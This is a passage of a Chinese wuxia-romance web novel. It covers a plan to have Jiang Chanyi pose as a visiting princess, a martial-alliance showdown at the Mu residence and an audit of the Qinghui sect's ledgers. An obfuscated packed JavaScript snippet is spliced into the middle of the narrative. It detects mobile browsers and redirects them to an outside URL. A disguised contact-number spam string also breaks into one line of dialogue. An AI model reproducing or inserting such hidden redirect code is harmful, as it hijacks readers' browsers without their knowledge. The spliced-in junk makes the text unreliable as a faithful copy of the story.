刘家的赏金他们多半是拿不到了,但宣家好像也不差钱。 话转的遂不及防,宣则灵怔愣了几息,才忙点头:“有。” 而后似是想起什么,又补充道:“先前表兄承诺给各位的,我都会各位补上。” 徐青天眼睛一亮:“客气客气,这多不好意思。” “刘大公子承诺给我们一人十两金,事成以后宣姑娘折成银票就好。” 宣则灵自是连忙说好。 姜蝉衣握紧宣则灵的手,神色郑重:“宣妹妹放心,这件事,一定会办成!” 而后便看向燕鹤:“燕公子,此事你可是有了主意?” 夜空中,大师姐那双眼睛亮若星辰。 燕鹤轻轻点头:“嗯。” 听得这话,宣则灵的眼神也骤然亮了起来,玉千洲瞥见,不动声色的放下酒杯。 “当务之急是先将宣姑娘‘被劫’一事按下来。”燕鹤徐徐道:“但已经过去两天,天下没有不漏风的墙,这件事轻易揭不过去。” 宣则灵有些愧疚的低下头:“此事是我欠考虑……” 手突然又被按住,抬眸就对上姜蝉衣温柔的双眼:“若不是你逃出来,我们如何相遇,又如何知你处境。” “是啊,要我说,宣姑娘很有勇气。”云广白道:“在那样的情形下,手无缚鸡之力的大家闺秀敢于谋划抗争,已是很了不得了。” 徐青天也道:“这话我认同,身处逆境敢于勇敢的与命运作斗争,这等精神是我辈该学习的。” 宣则灵哪里不知道他们是在安慰她,紧紧抿着唇,眼底泪光闪烁。 她何其有幸,才能遇见他们这么好的人。 燕鹤语气温和道:“虽然不容易,但也不是没有办法。” 姜蝉衣赶紧道:“什么办法?” 燕鹤看向宣则灵道:“小娘子夜里失踪,这在当世几乎等于前途尽毁,可如今消息多半已经走漏,再送宣姑娘回去,来不及了。” 宣则灵身为女子,自然比燕鹤更明白这个道理。 “但所幸消息还没有传开,还能被另一种真相掩盖。”燕鹤:“比如,宣姑娘并没有失踪,只是在宴席上被哪家女眷看中,邀请做客或是同游,但这位女眷要能压得住所有流言蜚语,或是一位名门世家德高望重的老太太,或是一位身份尊贵的女子。” 宣则灵面色一喜,但很快又黯淡下去:“可表兄此次是在老家办的喜酒,请的都是街坊邻居,没有这样身份尊贵的人。” 姜蝉衣皱眉:“是啊,我当时也在,确实都是小镇上的街坊邻居。” 燕鹤却笑着看着她,正是因为那日她在,他才想到了这个办法。 “不知诸位可知,明亲王府的小王爷每年都会带太子出京游学。” 云广白忙道:“这事我知道。” 其他人也都点头,这事并非什么秘密,只要不是隐居世外就都知晓。 只有隐居世外的姜蝉衣面露茫然。 宣则灵小心翼翼问道:“这与此事有何干系?” 燕鹤轻笑道:“今年小王爷虽没出京,但太子此次带上了公主游学。” 这话一出,所有人都惊讶的看向燕鹤,云广白反应最大,失声道:“你怎么知道!” 那个小辣椒出京了?! 燕鹤转头看向玉千洲:“玉家与明亲王府关系匪浅,此事我是听千洲说的。” 所有人都随之看向玉千洲。 玉千洲眼底划过一丝错愕,但很快就压了下去,强自镇定点头:“是。” 好在他常年绷着一张冷脸脸,又是在夜色下,没人看见他脸上一闪而逝的茫然。 良久后,姜蝉衣疑惑道:“燕公子的意思是,让公主殿下来证明宣妹妹的清白?” 宣则灵惊慌的瞪大眼,她哪敢惊动公主殿下,只她还没来得及做出反应,就见徐青天皱眉道:“可我们不知道公主殿下在何处啊?” 却听燕鹤不紧不慢道:“公主微服出行,体察民情,那日不就在刘家吃酒么?” 他说的云淡风轻,在场其他人却是满目惊愕,公主去刘家吃酒了?! “砰!” 有人酒杯掉落在地。 云广白声音隐隐发颤:“什,什么?” 小辣椒那天也在?! 脆响声让所有人堪堪回神,每个人都很震惊,云广白的失态也就没人放在心上。 燕鹤见众人误会,解释道:“我的意思是,那天在刘家吃酒的都是小镇上的街坊邻居,不可能有人见过公主,所以,可以冒充。” 冒充公主?! 那是砍头的大罪,疯了吗! 他敢说,却没人敢听。 宣则灵更是吓得砰地站起来,声音颤抖:“燕公子,万万使不得。” 然却见燕鹤泰然自若的看向玉千洲:“我听千洲说,前段时间太子与公子来过平江,以千洲与太子殿下的关系,只需去封信道清此事原委,太子和公主定会成全。” “届时只说公主与宣姑娘一见如故,请宣姑娘同行游玩,正因公主驾临,刘家次日才闭门谢客。” 玉千洲抬眸与燕鹤对视:“……” 良久后,他被迫镇定点头:“是,此事没有问题。” 宣则灵却仍不敢如此行事,急急道:“不行,这太危险了。” 万一出了岔子,她死不足惜,连累他们可如何是好。 燕鹤不说话了,只看着玉千洲。 姜蝉衣倒是很快从震惊中回神,诚然,这的确是目前最好的解决办法。 她再三沉思后,看向玉千洲:“玉公子,你当真可以说服公主殿下?” 玉千洲紧握着酒杯:“……” 他连公主的面都没见过,谈何说服。 但事已至此,总不能拆殿下的台,于是众目睽睽中,玉千洲只能道:“能,太子殿下与公主殿下心地良善,定会相帮,此事...绝不会出岔子,诸位尽可放心。” 姜蝉衣若有所思的点了点头,将宣则灵拉着坐下,安抚道:“既然玉公子这么说了,宣妹妹放心就是。” 另一边,沉默了许久的云广白一拍桌子:“天时地利人和,此事就这么定了!” 要是小辣椒当真生气,他就只说是他的主意,她顶多揍他一顿,还能真砍了他不成。 徐青天在这事上倒是没有开口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14056471|147328||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 宣则灵哪里干过这样要命的事,可他们你一句我一句她根本插不上话,只坐立难安的抓着姜蝉衣的手。 姜蝉衣安抚的拍了拍她的手,道:“但如今刘家应该已经将消息送出去了。” 燕鹤道:“此事不难。” 他再次看向玉千洲:“玉家生意遍布各地,截住刘家的信,将公主与宣姑娘同行去玱州的消息散播出去应该可以做到。” 玉千洲还能说什么,只能点头:“可以。” 徐青天这时道:“可是这消息散出去后,若没有公主陪宣姑娘回玱州,必要惹来怀疑。” “既是冒充,公主自然得现身。” 燕鹤看向姜蝉衣。 几双眼睛同时落在姜蝉衣身上,她这才后知后觉的明白了什么,惊道:“我冒充公主?” 燕鹤温声道:“那日满月宴,应该很多人见过姜姑娘,时隔多日,他们只会记得那日确实有一位气质出尘的姑娘,只需要刘家稍加点缀,就不会有人怀疑。” 几人不约而同的打量着姜蝉衣。 确实,以姜姑娘的气质,冒充公主倒确实可行。 “但那日也有很多人看见我们抢肉……”良久后,徐青天艰难开口道:“公主抢肉,是否有些说不过去?” 云广白一下子坐直了。 要是小辣椒知道他们坏了她的名声,一定会再追杀他八天八夜! 燕鹤淡笑道:“怎就不能是公主一时兴起与侍卫的切磋,时隔多日后,谁还分得清?” “再者,谁会相信公主抢肉?” 倒也是,这事要是公主做的,世人也只会认为这是公主微服出行的雅趣。 云广白一口气落了回去。 也有道理,诶,不对! “我们怎么就成侍卫了?” 燕鹤微笑:“你也可以冒充太子。” 云广白一个后仰:“……我怎么就不能是侍卫呢?” 徐青天:“对,我是假扮书生的侍卫!” 姜蝉衣无声吸了口气,点头:“行!” 她晚些时候便给大舅舅去封信,请大舅舅有个心理准备,要是东窗事发好能及时捞她。 在宣则灵的惶恐不安下,这事就这么定下来了。 “那接下来怎么办?”云广白。 燕鹤不动声色的瞥了眼玉千洲,道:“自然是找解大公子。” 玉千洲面色一紧。 云广白:“要是找不到呢?” 燕鹤沉默片刻:“找不到,那我们就打进夙安府,逼解家退婚。” 众人:“……” 云广白一个侠盗就算了,他怎路子也这么野? 玉千洲神情复杂几番欲言又止。 “事不宜迟,明日就出发前往沧州。”燕鹤道:“千洲也一起,有你同行更能取信于人,且关键时候也需要你帮我们扛着。” 玉千洲:“……” 他何德何能能给太子殿下抗事。 但他无法拒绝。 “好。” 商议好之后,几人便各自散去。 玉千洲让管家给云广白和徐青天收拾了客房,至于一地的荔枝…… “我能带走吗?”云广白依依不舍。 众人:“……” 见太子没作声,玉千洲:“……可以。” “那就多谢玉公子啦。”云广白笑的一脸灿烂。 _ 玉千洲送燕鹤回了屋,忍不住问道:“公子,公主当真来平江了?” 燕鹤:“没有。” 玉千洲一愣,若公主在京城,那岂不是要穿帮? 燕鹤眼底划过一丝无奈:“她把清欢妹拐跑了,去了边境。” 燕鹤口中的清欢妹妹便是明亲王府的小郡主,谢清欢。 玉千洲一惊:“边境路途遥远,只公主和郡主同行?” “父皇和小叔叔得到消息后派了暗卫追去暗中保护。”燕鹤揉了揉眉心道:“父皇对外宣称妹妹们今年与我一起出京游学。” 他也是因此被小叔叔迷晕,连夜让玄烛叔叔送出了京城。 玉千洲是听闻过那几位的事迹,尤其是明亲王府的郡王和郡主,兄妹两加一起,能把玉京闹得天翻地覆。 玉千洲很合理的怀疑,多半不是公主拐走小郡主,而是小郡主撺掇公主跑的。 “公主怎要去边境?” 提起这事,燕鹤哭笑不得:“……跟边境的小将军写信吵架没吵赢,亲自提了鞭子去报仇。” 玉千洲:“……” “时间不早了,早些歇息吧。”燕鹤道:“明日差人同玉叔叔说一声,就说随我游玩几日。” 玉千洲几番欲言又止后,到底没说出拒绝的话:“是,公子也早些休息。” 玉千洲离开不久,便有人进了燕鹤的房间,正是寻过来的金酒。 他是从玉家得到的消息,知道太子在玉家庄园,连夜寻了过来。 “殿下。” 燕鹤简单说了宣则灵一事,道:“明日我们会前往玱州,你明早先行出发,去查一查夙安解家,解千洲。” 金酒一愣,解千洲? 与玉公子同名。 “殿下是怀疑玉公子是解大公子?” 殿下此行本要去边境的,突然改变主意去玱州断不会只因宣姑娘。 果然,燕鹤道:“小叔叔曾交代过,若遇见千洲,尽可能替他解开心结。” 若千洲真是宣则灵要寻的解千洲,那么当年解家之事一定另有隐情。 若不是,就当带千洲散散心,路上再找机会问出他的身世。 金酒恭敬应下:“是。” 50-60 第51章 第 51 章 谁家小弟子,不错啊…… 金酒等人看到信号, 当即便冲进沐府,腾空护在几人身前,这时, 姜蝉衣抓准时机突破重围,朝台上跃去, 与此同时,几位长老先后起身,却被燕鹤横剑拦住, 洒出一片红雾。 几位长老立刻屏住呼吸, 却已是晚了, 只听沐玄机笑着道:“不是诬陷我下毒么,那便好生感受感受幽梦之毒吧。” 幽梦, 中毒者会陷入沉睡,若不及时解毒,便会在睡梦中死去。 长老虽已经封住穴位, 不会立刻陷入沉睡,但功力却已无法使出,只能怒声喝道:“恶贼,交出解药!” 长老被绊住,姜蝉衣轻易便靠近余昊, 余昊本身武功修为并不高,很快便被姜蝉衣钳制住, 以剑抵在他的脖颈:“都住手!” 青辉门弟子见掌门被挟持, 纷纷停手不敢再动,余辽惊道:“放开我父亲!” 沐玄机反手便给他一掌,直接将人击飞落上高台,自己也随之跃上, 在余辽发作前以剑抵住他脖颈: “闭嘴,有半个字废话,杀了你喔。” 余辽愤怒的瞪着他:“你敢!” 沐玄机嗤笑,抬目扫视周围:“我是武林盟主,你们今日栽赃于我,意图夺取盟主之位,我诛杀叛贼,谁有异议?” 一时间全场鸦雀无声。 好半晌才有人反应过来,是青辉门的盟友:“你有什么证据说是受人陷害,余姑娘分明是中了你的幽梦之毒!” 沐玄机冷冷看向他:“笑话,不是你们说毒是我下的,不该你们找证据来证明是我下毒?我何须自证?” “总不能因为毒是我的就说是我下的,那我便问一句,在座各位,谁看见我给余姑娘下毒了?” 众人你看看我我看看你,无人出来指认,这时,另一盟友喝道: “强词夺理!” “毒是你的,还能是别人下的?” 沐玄机笑了笑:“你要是这么辨的话,也成,我的幽梦之毒就放在寝室,而能靠近我寝室的外人只有余家人,我现在指认玉余家偷我毒药栽赃陷害,意在重掌盟主之权,而我,没有给余姑娘下毒的动机,至于你们方才所说的为了比武招亲,嘁,笑话,我比武招亲跟余姑娘有什么关系,我甚至连她长什么都不记得,还能担心她破坏我的比武招亲?” 沐玄机淡淡扫了眼余昊,不屑道:“也配?” 不知情的人闻言略一思忖,好像确实是这么个道理,论杀机来说,的确是余家更强。 而一些早就见微知著的人则是不动声色,都是几十年的狐狸,余昊这些手段他们能不知道?不过对他们而言,今日这场戏的真相并不重要。 强者为尊,今日谁赢道理就在谁。 目前来看余昊人虽多,但已隐落下风。 余昊方才看的清楚,身后挟持他的姑娘下手极为干脆利落,他但凡有动作,必定会死在她的剑下,思来想去后试探道:“这位姑娘是沐玄机什么人?” 姜蝉衣:“第一次见。” 余昊眼中划过一丝暗光,立刻道:“沐玄机给姑娘什么,我十倍付给姑娘。” 既然不认识,那多半是沐玄机花钱请的什么高手助阵,如此一切还有转机。 沐玄机却笑的眉眼弯弯,这可能就是他未来的嫂嫂,他还想策反? 想屁吃! 然却见姜蝉衣思索良久后,提出条件:“十万两黄金,我便帮你。” 沐玄机面色一变,不敢置信的看着姜蝉衣,又看一眼燕鹤。 十万两黄金,嫂嫂就把他卖了? 余昊将沐玄机的神情收入眼底,沐玄机向来是不屑做戏的,且此时他也没有做戏的必要,看来,他们真的不熟。 余昊心思快速翻转,咬牙答应:“好,只要姑娘帮我女儿报了仇,我愿付姑娘十万黄金。” 只要他脱困,他们一个都跑不了! 姜蝉衣眼底闪过一丝冷光,意味深长道:“青辉门真有钱。” 这话一出,众人心思各异。 是啊,十万黄金可不是小数目,这余昊竟说拿就拿?! “就是不知这些钱是哪来的?” 姜蝉衣扫过余辽的衣裳配饰和青辉门弟子手中的剑,又道。 光余辽那一身行头就价值不菲,门中所有弟子的剑都是上等兵器,所以她很早就在怀疑,青辉门哪来这么多钱。 余昊后知后觉的上了当,面色阴沉:“你诓我!” 姜蝉衣将剑靠近他脖颈,隐隐渗出血丝:“又如何?” 沐玄机瞪大眼直愣愣盯着姜蝉衣,眼神从错愕到惊讶再到狂喜,只他还没来得开口,云广白就跃到了他身边,用胳膊肘碰了碰他,面带骄傲:“怎么样,我们姜姑娘厉害吧?佩服吧?” 沐玄机皱眉瞥向他,终于有机会问出心中疑惑:“你们真是同门?” 云广白嘿嘿一笑,低声道:“同伴。” 沐玄机:“……” 原来不是同门。 余光瞥见燕鹤看过来,沐玄机心中一凛,赶紧扬声撇清关系:“既然姜姑娘不是你师姐,那你今日夺魁便跟姜姑娘没有关系,看在你救我一场的份上,我可破例,不管你家中姊妹今日有没有来,我都认这桩婚事。” 先在殿下跟前力证清白,至于什么婚事不婚事的,回头再赖账。 云广白惊愕:“……你想屁吃!” 他就一个妹妹,父亲要知道他定了妹妹的婚事,腿都要给他打断! 徐青天忍无可忍,喊道:“你们要不先解决现在的事呢?” 沐玄机深以为然,但还是先看向燕鹤:“燕公子,你别误会喔,今日比武招亲跟姜姑娘半点关系都没有!” “对了,你姓什么?” 云广白死死瞪着他,不答。 徐青天热心道:“他姓云,白云的云!” 云广白狠狠瞪向徐青天,只听沐玄机道:“烦请诸位见证,今日比武招亲赢的是这位云公子,今日与我定下婚约的是云公子的姐姐,云姑娘!” 云广白下意识:“……我没有姐姐!” 沐玄机哦了声,补充:“云妹妹!” 云广白恨不能一巴掌拍死自己的嘴,他还解释做什么! 反正他的姓又不是真的,只要他跑都快,他就不信他还能找到边关去。 燕鹤:“……” 姜蝉衣:“?” 看见沐玄机极力撇清关系的样子,金酒眼底泛起八卦的神采,沐公子的比武招亲,怎么还跟姜姑娘有关系呢。 他好像错过了什么。 燕鹤面无表情的看了眼几人,将话题拉入正轨:“余副盟主有很多产业?” 余昊还未开口,余辽便怒不可遏道:“要你们管!” 沐玄机不耐烦的皱眉,反手一剑将人弄晕死过去。 殿下说话,插什么嘴! 也就是这时,青辉门突然有弟子捂住胸口,一个接的一个的倒了下去。 不过片刻,就乌泱泱倒了一片 众人皆惊的站起身,却听沐玄机笑嘻嘻道:“放心,只是迷药,一个时辰就会醒了,毕竟我明知有人要害我,总不可能什么准备都不做吧。” 余昊瞳孔剧震,强压下翻滚的怒意,看向在座其他门派,质问:“诸位就看着这几个恶贼危害武林吗?” 其他人惊疑不定的看向沐玄机。 神不知鬼不觉给一个门派下了毒,若他想要灭门,不是轻而易举。 燕鹤看出众人心思,淡声道:“沐府建立以来,沐盟主可曾滥杀无辜?” 沐玄机立刻道:“没有,绝对没有!” “我向来有仇报仇有怨报怨,遵守律法,就这余辽如此陷害我,我也没杀他啊殿……燕公子,你别误会喔。” 众人闻言面色微松。 确实,虽然沐玄机脾性无常,但确实不是滥杀无辜之辈。 沉寂片刻后,所有人都有意无意的望向落霞门,沐盟主,长老,青辉门都入了局,便得有其他人出来主持局面。 落霞门如今有辅佐盟主之权,只是晏青禾提前离场,眼下就只剩下这些弟子不知顶不顶用。 关宵在落霞门排名第九,平日也负责协助晏青禾管理落霞门事物,在门内是能说得上话的,只是这么大场面他还是第一次见。 但出门在外,不论如何都不能丢了门中脸面,关霄在心里告诉自己,就当他们都是落霞门的弟子,他只是在处理落霞门弟子的纠纷。 这样一想,自如多了。 “沐盟主与余姑娘无冤无仇,余姑娘中毒一事还有待查证,余掌门证据不足对盟主动手,已犯大忌,没有规矩不成方圆,不如余掌门暂住沐府,再以祥查。” “另查看青辉门账本,若一切无异,再将余掌门送回,但余掌门副盟主之位,需再仔细商榷,诸位以为如何?” 这就是要剔除余昊副盟主之位,并将其软禁沐府了。 其他人没有意见,甚至乐见其成,但余昊一党并不同意:“不行,凭什么将余掌门留在沐府,万一沐盟主要对余掌门不利……” 关霄便看向沐玄机,强自镇定:“也请沐盟主在真相出来之前不可离开沐府,且保证余掌门的安危,并给几位长老余姑娘解毒。” 沐玄机不在意的耸了耸肩:“行啊,我又没有杀人的癖好,对他们的命不敢兴趣,只要余昊无罪,保证他能站着走出沐府。” 余昊一党还要再争论,关霄脸色一沉,抬手一掌击碎旁边的石狮子,道:“谁有异议,容后再议!” 关霄年纪虽小,但在落霞门管的是刑罚堂,积年累月也颇有几分气势。 加之这一掌下去足可见其功力,余昊一党虽不甘不愿,但还是被镇压住,只重重哼了声别过眼不做声了。 姜蝉衣这才细细打量了眼关霄,这谁家小弟子,不错啊。 真是少年出英才。 第52章 第 52 章 难道不是因为阿兄喜欢姜…… 关霄将带来的弟分了几个守在软禁余昊的厢房, 着其余弟子去封锁青辉门账房,便给晏青禾去信,请调更多弟子前来助阵。 晏青禾大致知晓他离开后发生了什么事, 立刻让四师弟带着三十人赶往沐府。 老四醉研武功,两耳不闻窗外事, 也不管理门中事物,但像这种需要人镇场子的,由他去最合适不过。 他扛着大刀往那一站, 光凭一身煞气就能消对方几分气势。 青辉门的弟子醒来, 想将查账的人赶出去, 老四大刀一挥,众弟子跟下饺子似的滚下台阶, 紧接着听见大楼坍塌的声音。 关霄翻账本的动作一滞,唇角抽了抽。 四师兄这是把人家楼拆了? 他身旁弟子缩了缩脖子:“不会把我们埋里面吧。” 关霄:“……塌的应是旁边议事堂。” 四师兄自然不可能把他们埋在里头,但五师兄恐怕想把四师兄埋里头了。 拆了人家楼, 少不得要赔偿一大笔。 五师兄又得崩溃一阵子了。 青辉门被镇压,无人再敢上前,而其他门派心思各异。 以往落霞门只有二师兄三师姐在人前走动,他们并不知落霞门底细,如今先见关霄, 又见老四,竟是一个比一个难缠, 对落霞门的忌惮难免又多几分。 今日之后, 武林恐怕要变天了。 彼时,姜蝉衣刚由沐府的人包扎好,听见那声巨响忙拿起剑飞快走出去,与同样出门的燕鹤对视一眼, 朝巨响的方向望去。 “发生什么事了?” 云广白徐青天也先后窜了出来,前者还在缠细布,显然还没有包扎完就被吓了出来:“怎么回事,哪里炸了?” 沐玄机最后慢悠悠出来,靠在门边懒洋洋道:“是青辉门的方向。” 姜蝉衣想起去那里查账的那位小弟子,皱眉道:爸1四八一流9流散“有几位弟子去青辉门查账了,会不会出什么事。” “对了,他们是哪个门派的?” 沐玄机掀了掀眼皮子,几番欲言又止后,道:“那位弟子名叫关霄,他已经请来门中四师兄坐镇,他那位师兄……天生蛮力,脾气暴躁,可能是哪个不长眼的惹了他,在拆人家地盘。” 姜蝉衣担忧褪去,随之而来的是惊诧之色:“他师兄这么凶?” 沐玄机意味深长的看她一眼:“嗯,简直跟火药一样,威力无穷凶悍至极。” 若她知道那二人是她的师弟,不知作何感想。 姜蝉衣想象不出来,遂也没再深究,那位名叫关霄的小弟子很合眼缘,他无事便好。 沐玄机看了眼姜蝉衣,又看一眼燕鹤,若有所思。 他曾经几番打探大师姐的身份,但都被晏青禾挡了回来,他兴趣也就更浓了。 他一直认为她的身份很不简单。 且数次的打探也并不是全无所获,他的心中其实隐隐已有所猜测,只是不太敢确定。 燕鹤突然回头,沐玄机忙正了神色,站直身子,偷偷看一眼对上那双淡漠的眸子,心虚的低下了头。 完了,铁定要挨训。 果然,只听那道温润的嗓音传来:“我与沐盟主许久不见,不知沐盟主可方便叙旧?” 沐玄机侧身:“燕公子请。” 他眼带祈求的看了眼姜蝉衣,以往对方能救他一救。 但可惜,姜蝉衣没有看懂他的意思。 二人先后进入书房,沐玄机关上门,往茶案的方向磨蹭,然后非常流利的跪在燕鹤跟前:“阿兄我错了。” 以前燕鹤微服出行,沐玄机不少同行,为掩饰身份,他在人前一直唤太子阿兄。 但大多时候沐玄机都很注重规矩,不会如此称呼,唯有犯错时,他才会死皮赖脸的喊阿兄。 燕鹤瞥他一眼:“错哪了?” 沐玄机从善如流:“一错,不该冒险将自己置于险境,迷药的时间没有把控好,下晚了,不应如此轻敌,给余昊反抗的机会,就应一击制胜,弄死余昊。” 燕鹤:“……” “二错,千不该万不该不该让人将云公子推上擂台,那时我并不知姜姑娘是阿兄心上人,我知错了,再也不敢了。” “天地可鉴,我对姜姑娘没有半分不轨之心!” 燕鹤:“……” 他沉默良久,淡声道:“谁告诉你的?” 沐玄机方才偷偷去见了师兄金酒问过燕鹤和姜蝉衣的关系,虽然师兄答的模棱两可,但他还是抽丝剥茧,嗅到了什么。 不过他没敢把师兄卖出去,眨眨眼,一本正经道:“阿兄特意让人传话不可招惹姜姑娘,难道不是因为阿兄喜欢姜姑娘吗?” “且我见阿兄看姜姑娘的眼神很不一样诶。” 不一样?有何处不一样? 燕鹤在心中问道,但面上并无异色,半晌后,看向沐玄机:“事关姑娘清誉,不可胡乱揣测,亦不可人云亦云。” 沐玄机非常乖觉:“玄机遵命。” 没有否认,那就是了! 看来他得尽快再去晏青禾那里套套话,确认姜姑娘的身份。 若她真是那位,那可就太有意思了! “起来吧,下不为例。” “谢殿下。”沐玄机欢喜窜起来,殷勤的给燕鹤添茶:“殿下怎么突然来这里了。” 燕鹤:“几位朋友好奇武林盟主比武招亲,便来看看。” 至于最后的结果,燕鹤没打算多加干涉,只要云广白不找他,就随他们去。 更重要的是他觉得这两个人都没有把比武招亲的结果放在心上。 几位朋友应该是指姜姑娘吧。 沐玄机笑的牙不见眼:“那殿下可要在这里多住几日?” 燕鹤饮了口茶,道:“再看。” 沐玄机寒暄几句,又自然而然将话题转到了姜蝉衣身上:“殿下,不知姜姑娘是何方人士?” 燕鹤这时才突然想起他好像从未听她说起自己的父母,她念着的一直只有师门。 这种事不适合多问,燕鹤没有深想,只道:“她师承落霞峰,门中加上师父只有四人。” 末了,补充道:“你可曾听说?” 沐玄机眼神一闪,殿下果然也不知道姜姑娘是落霞门的大师姐。 不过,落霞峰…… “没有听过。”沐玄机好奇问道:“这么说,姜姑娘只有三位同门?” 燕鹤:“嗯。” 沐玄机喔了声,状似随口道:“看姜姑娘的年纪,应该是小师妹。” “她是门中大师姐,有位师弟和师妹。” 燕鹤淡淡说罢,看向沐玄机:“不许去打扰他们。” 被看破心思,沐玄机嘿嘿一笑,承诺道:“殿下放心,我肯定不去叨扰。” 不出所料,那位师弟和师妹应该就是晏青禾和白安渝,有了这个消息,他必能从晏青禾口中诈出真相。 至于若真是他猜测那样,是否要将真相告诉殿下,答案肯定是否定的。 话本子里都说了,这种要紧事自己看破才最精彩。 他只需要告诉小王爷即可。 _ “天杀的,他是属炸药的吗,一出门就把人家一座楼砍塌了!” “真是疯了!” “叫他别回来了,自己赔!” 一身红白相间弟子服的青年疾步如飞,广袖甩的咔咔作响,所到之处怒骂不止:“这个孽障,从现在开始,他的月银没了!全部用来抵债!” 身后弟子大气也不敢出。 五师兄骂四师兄孽障真的合适吗? “这么大一笔钱,他就是一辈子都还不清!简直堪比那吞金兽!” “气死我了,二师兄呢?!” 离他近的弟子小声道:“二师兄刚才出门了,不知去了何处。” “一个个的都是来讨债的!才回来又跑去哪里了,出了这么大的事他不管吗!” 青年气的面容扭曲,若怨气有实质,他方圆十里怕都是要被怨气包裹。 “一天天的说不见就不见,师父行踪不定也就罢了,二师兄三师姐也时不时就闹失踪,多大的人了能不能有点责任心!” “说的好听只让我管账,但这些年门中大事小事哪样不来找我,这账房我是做不下去了,等师父回来,便给我撤了去吧,将我排到第十去,这五师兄谁爱做谁来做!” 不见其人先闻其声,众弟子面露惊恐,如鸟兽散去。 “天爷,又是谁惹五师兄了。” “赶紧跑,躲起来,别撞枪口上了!” “找我做什么,管事的是二师兄,我又没有下过山,又不知道青辉门在哪里,那孽障闯的祸跟我有什么关系!” 青年一边走一边骂,越骂越气:“想从我手里支银子赔偿,不可能,老子一文钱都不会给!” “他怎不干脆把整个青辉门拆了!” “你们几个跑什么跑,给我过来!” 慢了一步的弟子面露苦色。 我命休矣! 转身时却是一副乖巧模样,做小伏低的蹭到五师兄跟前,讨好道:“五师兄有何吩咐?” “你们几个,去给我把那孽障……老四的院子抄了!” 青年咬牙切齿:“但凡能卖钱的,都给我带走!” 几个弟子对视一眼,心中明了了。 原来是四师兄惹了五师兄。 “是,我们这就去,五师兄,您这是要下山吗,要去何处啊?” 青年没好气吼道:“还债!” 众弟子眼睁睁看着他们的五师兄带着一帮弟子浩浩荡荡怒气冲冲的下山。 “这是去还债还是讨债……” 下了山,在弟子们的推举下,一位女弟子小心翼翼凑到青年跟前:“五师兄,我们真要赔偿啊?” 其他弟子伸长脖子偷听。 “哼,想得美!” 青年想发火,看到是位女弟子,忍着怒气转过头:“我去灭门!” 只要弄死姓余的,就不用赔了。 “但他们的弟子绝不能要!” “谁爱要谁要,我们是养不起了。” 一众弟子缩了缩脖子,五师兄这怨气要冲天了,那女弟子悄悄退到后面,再不敢再吭声了。 第53章 第 53 章 姑娘人美心善 林间小道上, 两匹马疾驰飞奔而过,靠近山门,姜蝉衣喝停马, 眼神复杂:“青辉门这是将路大修过吧。” 她思来想去还是不放心,决定来青辉门看看, 燕鹤与她同行。 徐青天坚决不愿意骑马出门,云广白也被他强留下,他说人生地不熟, 沐盟主又那样凶, 他一人置身沐府犹如深陷匪窝, 得留云广白保护他。 沐府到青辉门,隔了半座山。 山势同落霞门差不多, 但这里却能容马车通过,直达青辉门前门。 虽然姜蝉衣不知道修这样一条路要多少银子,但绝不会是小数目。 燕鹤闻言先是一怔, 而后道:“姜姑娘眼力过人。” 他竟自然而然将这条路忽略了。 “我去岁回去,爬了半天山路。”姜蝉衣。 两厢一对比,差别自然就出来了。 燕鹤回忆曾在奏折中所见过修山路花费的数额,快速计算过,脸色渐沉:“此间山路盘旋, 非一时建成,至少也需一年, 且还是在人力充足的情况下。” “不下十万白银。” 姜蝉衣倒吸一口凉气。 十万白银, 换成铜钱能堆成山了吧。 “怪不得他方才答应的那样爽快。” 十万黄金是她尽可能往大了说的数额,可余昊竟丝毫不还价。 “或许生死关头十万金对他来说无足轻重,又或许他根本没想给,想过河拆桥。” 燕鹤沉声道:“嗯。” “先进去看看。” 不管青辉门有没有十万黄金, 光这条路就大有门道。 如今青辉门由落霞门的弟子控制,得知二人来意,有弟子进去禀报,如今在这儿的四师兄辈分最高,但四师兄脑子里只有武学,被弟子一问无声地让开路。 一言不发,意思却很明显,去问里头的人。 弟子对此也都习惯,也只是依着规矩请示他一遍。 关霄对姜蝉衣印象很深刻。 内力惊人,招式利落,不知是不是错觉,他总觉得她打架和二师兄有些相像。 虽招式不同,但那股狠劲儿差不多。 他听那位云公子唤过她姜姑娘,所以听到来的姑娘姓姜,他便立刻让人引了进来。 姜蝉衣燕鹤随着弟子上了阶梯,看见一片废墟时,二人都不由一怔。 这瞧着,像是新塌的? 二人对视一眼,不约而同看向台阶之上竖着大刀的青年。 想必这应该就是沐玄机口中的那位四师兄。 “这楼是如何塌的?” 姜蝉衣忍不住询问道。 领路的弟子快速看了眼上方正在打量姜蝉衣燕鹤的四师兄,一时也不知如何答。 但他如此反应,不必答二人也已知晓。 姜蝉衣毫不掩饰眼中的惊讶。 没有火药味,他莫不是用刀劈塌的? 不过也不好再问,二人随着领路弟子的引荐同男子互相简单的颔首道礼后就进了书房。 关霄见二人进来,起身相互道礼。 他没想到来的是燕鹤,不由多看了几眼,这位公子气度非凡,武功深不可测,他自然也留意过。 这样出色的人物他竟从未听闻。 “在下关霄,不知公子贵姓,是哪家弟子?” 燕鹤淡声道:“在下姓燕,游历江湖,没有门派。” 原是如此。 关霄遂不再多问,转而道:“不知燕公子,姜姑娘来此可有要事?” 姜蝉衣遂问:“方才听这里有响动,你没事吧?” 关霄一愣。 姜姑娘是因为担心他才过来的? 他快速回神,客气道:“多谢姜姑娘挂心,我无碍。” 姜蝉衣点了点头,看向桌案的账本,随口道:“查出什么了吗?” 眼下查青辉门是整个江湖都在关注的事,关霄也没必要瞒着,如实道:“其中有些假账本,短时间内查不出什么。” 燕鹤这时道:“有看到修路的账本吗?” 关霄被一提点眼睛骤然一亮,忙吩咐弟子寻找,很快便翻出了一摞账本。 但数额与燕鹤算的相差甚远。 “两万两?” 关霄紧皱着眉:“两万两,绝不可能修成这条路。” 姜蝉衣:“账本是假的?” “可所有的账本都在这里了。”关霄。 燕鹤四下扫了眼,猜测:“或许,还放在了别的地方。” 关霄拧眉思忖片刻后,唤来弟子再去别处寻找。 